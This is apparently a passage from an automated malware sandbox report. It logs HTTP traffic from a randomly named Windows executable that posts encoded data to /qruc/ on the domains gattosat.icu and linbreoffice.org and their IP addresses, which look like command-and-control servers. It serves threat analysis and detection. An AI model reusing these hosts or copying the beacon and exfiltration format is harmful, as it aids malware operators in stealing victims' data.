FRVftYDNRuG6H4ByJFvnxwuJrwh3dXQJL7e4GWNJwiduD81R/ofXlA69Esaduwm2WylYzEElzdSKrYssPhOC3Uf4DfWofMgwjaURY0Vb9dR9Mrby4UD1Er1h50AQdSfF2XCPg/QWyC/a04rOA7FFsS8e2UsMUHXxXoaUdbfBLZT2gu9XZqbvOcNVJ2iX3qtllNnGUPS6Z/bTE0NQc4EAGiUE5e7ySw8azmOg3suMbr0erFVriKtpnM/5z+8i5rK4UDQMDmBfIsDRDu78cPQRmqUgk+iuegm5OB95TzOcrYYTUrjVLdztlN2mXYkpiq0y4UF87qWjk8menF/booa5UNaqDZxz5/A4tiuMJ9IJjRQPpGCb1O+DlVVrcxOuBaM8pNGYyER9+fighbF7/blOZ1BjO4PTVbMOBVHvyzTPKewlM+2Mm7SQD7r2HeG/p1csfDnyErhTwWgNxVazEkOA0u8M21/gTCOJC2U8vvgzcNbRKAZYAsivVD9insTHo4LKNJedi3Ir7ToxlyEQM/PivbbHUVxrHGZZj2fnSOKT5bZLsF60xzd2BlH73z/VTzq3sYyiG0Un0YUYegdvPEKcTPeUmMjfEcZsY1l0acGAtgoPMuoh3/Fpc3YdROIm9cBH0N/fcZrOfNkE22dgIF3Lewzg8T2t/tDK0uagyWWuZ1XLog4k50AW/54ByiO+UzouJVqxw/MsxVLAIEI3c2dIlkawsSMgP7Nl0qN38Mn0ZvueC9zdRsXXQqN75EB2ndTs6T2WoZxymc7i8DQOd07rCxzrG+v1FcKmtKUqNJ0Db03z0A/iEeu7UeabJI58bkcY2ZZFseLLKnfcxMke55t4qf00Y19WqPI19Q9NGeDyVf/4qrqFh2LNa6PBmrY+yRmB3T8eS99iAUMuaansDpDVvrDAhLv9HdIZ/3vPP3clHsd/uGyBjJX6zG+DXLS0030i3lsqwjEeZbxinjRUCYuoCVaOZhp4lTTqeewMrtoDccQyaCqQdbzgbOEs6FEGc+TBT/43oHAq4GjKZvjyaspuMzr0YuOJNc0gSvnLKYXQp0xiJsLwe4duVU7rWGuZ1kQBfOZWY7zeiCETtpMHKqDM0QAY57OsGog3QtEygL6jvETdh/64nm4aGW8nVcKSsyXsTmOwkD34FHauMeLb6M0mIU/MM9I6s2IGb2xV7Kg/dCs3Nr16naEfhsxMG4g7BdkT0bv5WmNsevdq6rj+mjBCgPzE7/W4EZ7n3QqtHXtUjUSVQMMEOXeR8hKgAoGnL5AZ0qSkKeTFAD6nEGcL2tvu1PYPasf0f6ZCMltUvPTPqNBHKoOqQ49UEG+BGqiqFfYhN78q4p7fMDRqL7ZZRgrDbdGjnOo//q2ZIGYxX2EhXk
Apr 26, 2024 07:40:11.091682911 CEST	292	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 26 Apr 2024 05:40:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49754	109.123.121.243	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:13.630965948 CEST	404	OUT	GET /qruc/?xl=UAq9CzGRql0qbxLJ0VHAxYbE6gcH95yIoC7W/FPBEpHWNGr0R1xACLnBcwEc3ZkTuU45ULwzGu2M7+E0XrmRKTDELq+4Gy/k2I5T6z62BN58jG7ys8mA5gg=&vFLHF=St8dDlnHzrct7 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Host: www.gattosat.icu Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Apr 26, 2024 07:40:13.859091997 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 26 Apr 2024 05:40:13 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49755	64.225.91.73	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:19.286292076 CEST	677	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.linbreoffice.org Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.linbreoffice.org Referer: http://www.linbreoffice.org/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 61 6b 41 56 6d 2f 4c 43 54 57 4f 43 53 4c 41 6d 4c 74 65 61 55 4a 4a 72 37 46 56 65 42 58 5a 78 59 6f 52 79 34 33 75 64 48 32 54 67 59 36 36 43 79 61 45 67 39 59 68 79 78 51 48 7a 50 37 79 53 4b 46 2b 38 58 57 58 50 36 43 45 6a 65 5a 52 30 68 63 39 69 46 32 6c 41 61 45 4c 67 4c 38 4e 71 2f 54 6a 6f 4b 78 75 63 4c 74 45 75 50 4c 33 76 70 48 6a 55 36 51 7a 75 65 4f 31 31 63 50 4e 5a 73 56 66 32 61 66 6f 48 48 6d 72 4d 70 7a 56 4a 6b 6a 59 64 36 64 70 36 32 72 39 2f 61 42 2b 7a 53 4f 47 39 2b 6b 57 75 53 77 54 51 47 37 39 4b 50 2b 4c 54 69 37 50 2f 30 44 76 71 4f 4e 76 4b 66 67 3d 3d Data Ascii: xl=akAVm/LCTWOCSLAmLteaUJJr7FVeBXZxYoRy43udH2TgY66CyaEg9YhyxQHzP7ySKF+8XWXP6CEjeZR0hc9iF2lAaELgL8Nq/TjoKxucLtEuPL3vpHjU6QzueO11cPNZsVf2afoHHmrMpzVJkjYd6dp62r9/aB+zSOG9+kWuSwTQG79KP+LTi7P/0DvqONvKfg==
Apr 26, 2024 07:40:19.483016014 CEST	601	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Fri, 26 Apr 2024 05:40:19 GMT content-type: text/html last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: W/"63f68860-251" content-encoding: gzip connection: close transfer-encoding: chunked Data Raw: 31 35 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 52 c1 6e c2 30 0c bd f3 15 56 4f ad 06 6d a7 69 17 68 bb d3 fe 60 3f d0 b5 ee 12 94 c6 90 b8 20 34 f1 ef 73 52 18 0c ed e6 d8 cf cf cf cf a9 14 8f a6 59 54 0a db be 59 00 54 23 72 0b 8a 79 b7 c2 fd a4 0f 75 e2 70 70 e8 55 02 1d 59 46 cb 75 f2 ba 99 9c a9 03 c6 af 8b c2 d2 d6 e7 3d 8d ad b6 9d 65 47 26 ef 68 4c a0 10 d2 62 66 ad 3e a9 3f 45 72 df 39 bd e3 10 02 18 64 70 c8 4e a3 87 1a 5e 96 a0 85 de 1d 5a 23 af e7 b2 2c 37 11 95 0e 93 ed 58 93 8d d8 53 9a c1 77 cc 03 0c c8 9d 4a 93 ab 8c 47 05 c5 1b 39 fd a5 c8 8b 60 78 82 a3 b6 3d 1d 73 43 5d 1b d8 72 25 6b 65 17 26 80 9c 15 da 54 d6 dc 91 f5 08 75 23 d3 e6 38 df 7a b2 69 f6 08 ed 5b 71 49 60 ff d1 8a fe 50 be 6b 91 99 22 15 9d 23 17 9a ae 1b 04 17 f4 00 32 77 76 a1 81 f2 b6 5e 28 82 c8 88 a5 d5 6a 76 63 4e 02 78 e4 0f 3d 22 4d 1c 9b 4f 37 f3 b2 7b e0 19 d0 c8 3a f7 f3 20 9c d1 93 c1 3c ca 49 93 f7 a0 6a 0d c9 12 62 e2 6f ff af 41 e7 4b fe 9c a5 31 aa 8a eb 29 ab 62 be ae 1c 3b fe a4 1f e5 c9 cd 5c 51 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 150mRn0VOmih`? 4sRYTYT#ryuppUYFu=eG&hLbf>?Er9dpN^Z#,7XSwJG9`x=sC]r%ke&Tu#8zi[qI`Pk"#2wv^(jvcNx="MO7{: <IjboAK1)b;\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49756	64.225.91.73	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:22.447452068 CEST	697	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.linbreoffice.org Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.linbreoffice.org Referer: http://www.linbreoffice.org/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 61 6b 41 56 6d 2f 4c 43 54 57 4f 43 54 72 77 6d 4a 4f 32 61 63 4a 4a 30 33 6c 56 65 50 33 59 32 59 6f 64 79 34 7a 65 4e 47 41 6a 67 62 65 2b 43 7a 66 6b 67 6f 59 68 79 6f 67 48 32 42 62 79 56 4b 46 79 4b 58 54 33 50 36 47 55 6a 65 59 68 30 30 2f 46 68 47 47 6c 43 50 55 4c 69 45 63 4e 71 2f 54 6a 6f 4b 31 4f 32 4c 74 73 75 50 34 2f 76 6f 6a 33 58 35 51 7a 68 49 65 31 31 4c 66 4e 64 73 56 66 45 61 65 46 73 48 6a 76 4d 70 33 64 4a 6e 33 4d 65 7a 64 70 67 79 72 38 32 54 41 50 36 63 2f 50 70 67 45 61 32 4d 68 58 55 4b 64 73 51 65 50 71 45 77 37 72 4d 70 45 6d 65 44 4f 53 44 45 6f 35 52 7a 6d 30 61 36 55 72 6b 72 58 6d 51 64 32 49 34 46 6c 63 3d Data Ascii: xl=akAVm/LCTWOCTrwmJO2acJJ03lVeP3Y2Yody4zeNGAjgbe+CzfkgoYhyogH2BbyVKFyKXT3P6GUjeYh00/FhGGlCPULiEcNq/TjoK1O2LtsuP4/voj3X5QzhIe11LfNdsVfEaeFsHjvMp3dJn3Mezdpgyr82TAP6c/PpgEa2MhXUKdsQePqEw7rMpEmeDOSDEo5Rzm0a6UrkrXmQd2I4Flc=
Apr 26, 2024 07:40:22.644910097 CEST	601	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Fri, 26 Apr 2024 05:40:22 GMT content-type: text/html last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: W/"63f68860-251" content-encoding: gzip connection: close transfer-encoding: chunked Data Raw: 31 35 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 6d 52 c1 6e c2 30 0c bd f3 15 56 4f ad 06 6d a7 69 17 68 bb d3 fe 60 3f d0 b5 ee 12 94 c6 90 b8 20 34 f1 ef 73 52 18 0c ed e6 d8 cf cf cf cf a9 14 8f a6 59 54 0a db be 59 00 54 23 72 0b 8a 79 b7 c2 fd a4 0f 75 e2 70 70 e8 55 02 1d 59 46 cb 75 f2 ba 99 9c a9 03 c6 af 8b c2 d2 d6 e7 3d 8d ad b6 9d 65 47 26 ef 68 4c a0 10 d2 62 66 ad 3e a9 3f 45 72 df 39 bd e3 10 02 18 64 70 c8 4e a3 87 1a 5e 96 a0 85 de 1d 5a 23 af e7 b2 2c 37 11 95 0e 93 ed 58 93 8d d8 53 9a c1 77 cc 03 0c c8 9d 4a 93 ab 8c 47 05 c5 1b 39 fd a5 c8 8b 60 78 82 a3 b6 3d 1d 73 43 5d 1b d8 72 25 6b 65 17 26 80 9c 15 da 54 d6 dc 91 f5 08 75 23 d3 e6 38 df 7a b2 69 f6 08 ed 5b 71 49 60 ff d1 8a fe 50 be 6b 91 99 22 15 9d 23 17 9a ae 1b 04 17 f4 00 32 77 76 a1 81 f2 b6 5e 28 82 c8 88 a5 d5 6a 76 63 4e 02 78 e4 0f 3d 22 4d 1c 9b 4f 37 f3 b2 7b e0 19 d0 c8 3a f7 f3 20 9c d1 93 c1 3c ca 49 93 f7 a0 6a 0d c9 12 62 e2 6f ff af 41 e7 4b fe 9c a5 31 aa 8a eb 29 ab 62 be ae 1c 3b fe a4 1f e5 c9 cd 5c 51 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 150mRn0VOmih`? 4sRYTYT#ryuppUYFu=eG&hLbf>?Er9dpN^Z#,7XSwJG9`x=sC]r%ke&Tu#8zi[qI`Pk"#2wv^(jvcNx="MO7{: <IjboAK1)b;\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49757	64.225.91.73	80	1516	C:\Program Files (x86)\AXXGpedivmBaBhwRBklJNWbmzUNZwuCMAoieyGUklDlnfywYEYYnjONA\DpzZIqplfZXGlyHqisknlKbWCP.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 07:40:25.175187111 CEST	10779	OUT	POST /qruc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.linbreoffice.org Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.linbreoffice.org Referer: http://www.linbreoffice.org/qruc/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 78 6c 3d 61 6b 41 56 6d 2f 4c 43 54 57 4f 43 54 72 77 6d 4a 4f 32 61 63 4a 4a 30 33 6c 56 65 50 33 59 32 59 6f 64 79 34 7a 65 4e 47 44 44 67 59 72 71 43 79 35 73 67 75 6f 68 79 67 41 48 33 42 62 7a 4a 4b 46 71 57 58 54 72 66 36 45 63 6a 66 36 5a 30 6c 75 46 68 52 32 6c 43 58 6b 4c 6e 4c 38 4d 77 2f 54 53 67 4b 78 69 32 4c 74 73 75 50 35 76 76 38 48 6a 58 30 77 7a 75 65 4f 31 44 63 50 4e 31 73 57 76 2b 61 65 42 61 48 51 58 4d 71 57 68 4a 6c 43 59 65 72 4e 70 2b 31 72 38 75 54 41 44 35 63 37 6e 6c 67 48 47 4d 4d 68 6a 55 61 37 64 6e 62 39 37 59 7a 61 72 72 79 44 61 5a 44 4a 75 46 66 35 78 72 30 7a 73 79 67 6d 44 51 6c 31 50 39 4f 48 59 41 54 43 61 7a 4b 54 6a 78 52 7a 62 7a 4d 31 78 79 68 49 47 74 6f 51 55 4b 4d 49 63 61 35 4b 70 64 56 50 46 72 55 75 2b 74 69 2f 57 58 4f 38 4f 42 6c 4f 6c 6f 4a 4b 34 30 72 33 76 41 31 4f 39 70 68 6d 79 46 66 6c 47 4a 6c 47 6b 6e 46 7a 6e 4b 48 73 62 47 76 32 6c 5a 38 61 34 4a 76 58 4e 66 2f 57 4f 38 6d 38 76 58 6d 33 4d 75 63 4c 39 4f 73 73 65 58 43 6a 63 30 59 62 35 44 67 63 53 39 57 4c 62 34 2b 55 66 64 68 53 36 62 54 2f 59 6e 2f 53 41 58 4a 4b 67 69 4e 50 4d 2f 72 47 6a 2b 42 72 72 6c 59 69 53 50 6c 37 55 41 62 52 4c 76 44 49 2b 41 51 6d 69 66 77 74 63 61 33 4c 6a 58 6e 63 39 34 63 78 6f 51 6d 71 57 49 36 72 36 72 61 6b 66 2b 43 33 51 6b 6f 68 6b 71 42 52 77 49 73 4b 61 6f 50 69 4a 6f 79 35 51 43 75 70 4c 34 38 5a 46 4f 78 35 78 42 33 79 37 62 72 6b 54 64 33 42 69 4b 4e 46 68 30 70 79 33 4e 78 43 47 35 62 31 70 33 62 4e 6a 2b 2b 61 6f 69 47 36 79 50 6c 75 6d 62 56 44 53 35 79 73 7a 70 69 32 5a 56 41 4f 6a 2b 65 66 46 41 48 74 52 34 6a 72 45 58 38 2f 58 64 2f 33 55 63 62 6f 52 7a 53 70 73 42 30 6e 73 2b 64 4a 78 72 47 42 74 4e 4a 6c 33 55 50 73 4f 63 52 73 6c 76 7a 62 75 4b 6e 7a 48 39 61 76 38 41 6e 45 6d 30 68 32 49 39 49 4e 4a 2b 2f 46 36 6a 79 2f 4e 61 41 31 4f 74 33 72 49 6b 6a 4f 77 37 72 55 32 4b 53 4f 32 38 72 61 45 4f 78 37 58 42 79 75 75 72 74 63 77 61 57 47 65 52 50 48 47 59 43 4e 70 35 4f 57 4b 65 39 5a 65 4a 71 79 73 64 34 62 54 73 56 34 71 33 37 38 39 67 31 44 5a 63 33 7a 50 33 5a 66 44 7a 68 6b 2b 75 6f 44 44 51 58 76 2b 52 31 63 4f 4b 74 4e 33 49 42 4a 70 75 54 57 42 63 33 33 4d 43 42 79 37 54 4b 52 38 36 5a 2f 5a 32 77 4c 69 6c 59 6d 56 61 72 49 75 73 44 66 6d 71 39 49 78 64 61 6f 6d 46 41 54 6b 6b 56 2b 33 45 74 6e 50 4c 65 59 6d 33 72 32 37 72 53 73 43 2b 66 39 48 4c 6b 70 39 32 74 50 53 67 64 72 75 58 6f 63 64 33 41 54 5a 47 49 53 53 50 36 67 57 63 64 56 77 74 6c 30 6c 74 69 70 54 43 77 67 42 6d 45 74 59 39 71 33 33 48 75 37 6e 76 43 45 78 66 78 51 45 58 6a 49 2f 6b 66 4c 31 53 47 44 46 69 55 38 4f 63 43 6b 50 5a 63 51 5a 33 74 44 6c 30 37 7a 53 42 35 6d 4d 44 49 6f 6b 6c 64 4e 4f 6c 50 55 38 39 78 6d 55 63 62 57 36 77 2f 32 35 50 73 35 41 6a 74 43 4c 31 39 35 73 69 51 64 6d 43 37 75 35 47 6a 46 67 32 5a 57 70 51 34 6f 75 79 37 36 39 43 63 45 51 6b 4f 62 37 61 73 6d 47 74 75 54 35 63 63 76 4c 36 30 34 77 6f 31 6f 55 5a 68 43 38 43 47 69 58 75 51 47 76 79 38 71 61 50 4c 33 34 4f 4d 67 35 41 32 62 57 34 55 6b 2f 51 4a 5a 74 38 6d 4f 44 6a 63 76 63 4d 4b 49 48 46 74 71 42 62 39 2f 69 34 4e 56 35 5a 45 76 72 4e 76 6a 6d 77 44 2f 79 37 66 6d 35 4c 66 50 71 77 68 4b 75 32 41 44 73 6b 4c 72 4a 77 70 6b 64 50 63 72 31 34 49 71 57 4b 45 64 7a 44 53 49 72 4c 69 66 53 6e 56 61 6f 48 66 66 65 49 53 39 7a 41 51 47 64 6f 41 57 48 56 45 63 53 47 69 78 54 63 50 68 33 62 66 5a 43 58 47 35 4b 55 5a 4e 31 4e 39 4f 4d 65 4c 67 6d 54 4b 78 6c 4d 77 62 53 36 47 44 37 73 56 6f 48 4d 49 32 31 72 71 61 5a 59 72 48 73 52 49 4e 4c 44 6d 58 53 64 54 65 4a 4b 76 4b 58 43 48 56 4e 2b 72 57 33 45 6b 64 34 67 49 51 47 34 7a 66 56 58 7a 64 62 4a 75 47 53 70 34 73 68 66 6b 79 4e 32 2b 45 78 67 35 57 2f 4b 67 37 64 5a 58 48 2f 79 52 6d 67 68 62 35 62 51 2b 6e 4a 7a 77 37 69 46 62 66 31 41 42 4a 76 42 50 78 6a 39 7a 62 45 56 46 41 53 44 31 45 42 46 63 68 64 6a 2b 55 6b 45 6e 57 41 54 38 6a 30 37 77 41 4f 64 49 6b 73 61 30 49 74 70 78 62 51 54 68 75 6d 51 32 78 47 37 75 63 4e 44 34 6d 35 37 71 58 37 62 46 6e 41 70 41 59 62 2b 63 78 51 30 32 69 48 70 73 47 76 63 6c 75 6a 41 67 4e 78 76 77 5a 48 58 Data Ascii: xl=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
